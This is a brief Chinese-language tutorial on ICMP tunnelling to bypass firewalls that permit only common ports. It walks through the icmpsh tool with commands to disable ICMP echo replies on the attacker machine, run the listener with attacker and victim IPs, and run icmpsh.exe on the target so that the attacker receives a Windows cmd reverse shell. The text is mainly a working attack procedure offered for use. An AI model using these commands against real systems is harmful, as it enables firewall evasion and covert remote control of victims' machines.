当有防火墙只允许80、443等常见端口或常见的数据包协议的时候，其他类型的数据包和不允许访问的端口就会被过滤。

icmp隧道就是将不被允许的数据包使用icmp协议进行封装。同理可得，除了icmp隧道，还可以使用其他类型的协议，例如IPv6、TCP、UDP等等。

https://github.com/inquisb/icmpsh
这是一个使用icmp隧道的工具，可以将内网机器与攻击机进行连接。

在攻击机上运行该命令，关闭icmp请求应答
sysctl -w net/ipv4/icmp_echo_ignore_all=1
---

git clone https://github.com/inquisb/icmpsh
cd icmpsh
python icmpsh_m.py 攻击机IP 受害机器ip

在目标机器上运行以下命令
icmpsh.exe -t 攻击机ip -d 500 -b 30 -s 128

此时攻击机就会返回受害机器的cmd shell。

icmpsh缺点是只能运行在目标机器是windows的系统上。如果目标机器是linux系统，那么就要用其他办法绕过防火墙。